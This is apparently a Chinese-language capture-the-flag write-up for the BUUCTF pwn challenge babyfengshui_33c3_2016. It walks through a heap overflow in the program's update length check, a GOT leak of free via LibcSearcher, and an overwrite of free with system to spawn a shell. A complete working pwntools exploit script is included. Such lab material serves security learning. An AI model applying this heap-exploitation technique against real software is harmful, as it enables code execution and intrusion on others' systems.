[BUUCTF]PWN——babyfengshui_33c3_2016
babyfengshui_33c3_2016
步驟:
- 例行檢查,32位程式,開啟了cannary和nx
- 本地執行一下看看大概的情況,熟悉的堆的選單佈局
- 32位ida載入,看main函式
add
update
delete
display
- 先隨便申請幾個堆,看一下佈局
add(0x80, 'name1', 0x80, 'aaa')
add(0x80, 'name2', 0x80, 'bbb')
add(0x80, 'name3', 0x80, 'ccc')
gdb.attach(p)
和我們上面分析的一樣,堆的佈局是text_chunk + name_chunk
上面看到了update在判斷長度的時候存在問題,
看堆佈局以chunk0來說,判斷條件就是:`0x083e300+0x80>=0x83e3008`
但是,有一個問題就是,chunk0和chunk0(name)其實不一定是相鄰的,這樣的話就有了實現溢位的可能
- 這樣就好辦了,先隨便申請幾個堆塊(我申請了3個),然後釋放掉chunk0,在申請一個chunk,這樣新申請的new_text_chunk就會在chunk1之前,new_name_chunk在chunk2之後,這之間的距離可大了,所以我們可以輸入很長的資料。
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
gdb.attach(p)
圖太大就不放全了,可以自己除錯看一下堆佈局
6. 上述程式碼中可以看到,name_chunk中存放著text_chunk的指標,將name_chunk1處儲存的chunk1指標改成free_got的地址,這樣就洩露了libc版本,可以直到system函式的實際地址了
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
- 我們之前往chunk2中寫入了’/bin/sh‘,現在將free的地址改寫為system的地址,這樣在執行free(chunk2)的時候就變成了執行system(’/bin/sh’)這樣就可以獲取shell了
update(1,0x80,p32(system_addr))
delete(2)
完整EXP
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#p=remote("node3.buuoj.cn",27725)
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')
free_got=elf.got['free']
def add(size,name,length,text):
p.recvuntil("Action: ")
p.sendline("0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.recvuntil("text length:")
p.sendline(str(length))
p.recvuntil("text:")
p.sendline(text)
def delete(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))
def show(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index,length,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(length))
p.recvuntil("text: ")
p.sendline(text)
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
p.interactive()
參考wp:
https://blog.csdn.net/weixin_45677731/article/details/108093060
相關文章
- BUUCTF pwn學習日記
- buuctf-pwn-get_started_3dsctf_20163D
- BUUCTF xor
- 【BUUCTF】HardSQLSQL
- 【BUUCTF】AreUSerialz
- 【BUUCTF】BabySQliSQL
- 【BUUCTF】easy calc
- BUUCTF reverse 3
- 【BUUCTF】Easy JavaJava
- 【BUUCTF】Youngter-drive
- BUUCTF-Include(Web)Web
- BUUCTF SSTI模板注入
- windows pwn(一)Windows
- 【Pwn】maze - writrup
- NewStarCTF-pwn
- 胖哈勃杯Pwn400、Pwn500詳解
- BUUCTF 基礎CODE REVIEWView
- BUUCTF:Beautiful_SideIDE
- BUUCTF靶機筆記筆記
- Arm pwn學習
- 虛擬PWN初探
- PWN系列-初探IO
- pwn前置知識
- CTF_pwn_堆
- BUUCTF-WEB(66-70)Web
- BUUCTF-WEB(71-75)Web
- BUUCTF-WEB(76-80)Web
- BUUCTF-WEB(81-85)Web
- BUUCTF-WEB(86-90)Web
- buuctf中Crypto解題合集
- BUUCTF-WEB(4-8)Web
- BUUCTF-WEB(9-14)Web
- BUUCTF-WEB(15-20)Web
- BUUCTF-WEB(21-25)Web
- BUUCTF-WEB(26-30)Web
- BUUCTF Crypto 做題記錄
- BUUCTF-Misc(11-20)
- BUUCTF-Misc(21-30)